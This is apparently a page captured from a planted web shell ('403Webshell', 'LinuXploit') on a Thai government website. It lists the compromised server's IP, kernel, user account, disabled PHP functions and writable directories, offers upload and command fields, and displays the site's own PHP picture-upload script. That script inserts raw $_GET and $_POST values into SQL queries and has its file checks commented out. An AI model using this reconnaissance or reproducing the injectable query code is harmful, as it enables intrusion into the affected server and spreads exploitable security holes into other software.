403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.22.217.190
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/link_picture/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/public_html/coremain/module/link_picture/upload_picture.php
<?php
$navig['link_picture_add']="เพิ่มข้อมูลชนิดรูปภาพลิงค์";
navigator($navig);
echo "<br>";
bar_header("เพิ่มข้อมูลชนิดรูปภาพลิงค์"); // Bar_Header
fieldset_top("ลิงค์");
// ส่วนจัดการ upload รูปขึ้น sever และ เก็บข้อมูลลง database
import_request_variables('pG', 'p_');
if($p_link_name!="")		{  $link_name=trim($p_link_name);				}
$picture=trim($_FILES['picture_file']['name']);
$fail_case = -1;

if($picture!=""){
  
  $chk = check_file($picture, 'image');
  if($chk != 'OK'){
    $fail_case = 1;
  }else{
    $fail_case = 0;
  }
    
  $name1 = create_filename($picture);
  $dlink = "$_SESSION[web_name]/module_picture/$name1";
  upload_file_to_server($dlink, $_FILES['picture_file'], '', '500', '500');
  
//while($fail_case != 0)
//{
//		$strings1=substr($picture,-4);
//			if($strings1!=".gif" and $strings1!=".jpg" and $strings1!=".GIF" and $strings1!=".JPG"){
//				$fail_case = 1;	
//				break;
//		}
//		$str  = "123456789abcdefghijkmnpqrstuvwxyz";
//		$pic = substr(str_shuffle($str), 0, 5);
//		$strings=substr($picture,-4);
//		$name1="pic$pic$strings";
//		
//					$dlink=$_SESSION['web_name']."/module_picture/".$name1;
//					$temp_name=$_FILES['picture_file']['tmp_name'];
//					if (is_uploaded_file($_FILES['picture_file']['tmp_name'])) {
//						if(!move_uploaded_file($temp_name,$dlink)){
//							$fail_case = 2;
//							break;
//						}
//					}
//		
//	list($width, $height, $type, $attr) = getimagesize($_SESSION['web_name']."/module_picture/$name1");
//	if($width>500) {
//		unlink ($_SESSION['web_name']."/module_picture/$name1");
//		$fail_case = 3;
//		break;
//	}
//	if($height>500) {
//		unlink ($_SESSION['web_name']."/module_picture/$name1");
//		$fail_case = 4;
//		break;
//	}
//	$fail_case = 0;
//	break;
// }
}
	if($fail_case==0)
	{
		// first get max position 
		$sql_position = "SELECT max(position) as poss FROM cms_link_picture WHERE id_top = $_GET[id_top]";
		$res_position = mysql_query ($sql_position);
		$dat_pos = mysql_fetch_object ($res_position);
		
		$max_position = $dat_pos->poss+1;
		
		 $sql = "INSERT INTO cms_link_picture (pic_name,pic_description,pic_name_info,place,status,id_top,phone_number,position) values ('$name1','$_POST[pic_description]','$_POST[link_name]','$_POST[place]','1',$_GET[id_top],'$_POST[tel]',$max_position)";
		mysql_query ($sql) or die (mysql_error());
		echo "<center><br><br>ข้อมูลได้ถูกเพิ่มแล้ว<br><br></center>"; 
		echo "<meta http-equiv='refresh' content='2; url=index.php'>" ;
	}else{
		if($fail_case==1)
			echo "<center><br><br>ชนิดของรูปต้องเป็น GIF หรือ JPEG เท่านั้น<br><br></center>"; 
		else if ($fail_case==2)
			echo "<center><br><br>ไม่สามารถ Upload ไฟล์ได้ กรุณาติดต่อ administrator เพื่อเปิดการเขียนไฟล์<br><br></center>"; 
		else if ($fail_case==3)
			echo "<center><br><br>รูปสูงเกินกว่าขนาดที่กำหนด<br><br></center>"; 
		else if ($fail_case==4)
			echo "<center><br><br>รูปยาวกว่าขนาดที่กำหนด<br><br></center>"; 
		else 
			echo "<center><br><br>เกิดข้อผิดพลาด<br><br></center>"; 
		// refresh	
		echo "<meta http-equiv='refresh' content='2; url=index.php?mod=link_picture_add&path=link_picture&id_top=$_GET[id_top]'>" ;
	
	}
	fieldset_down();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit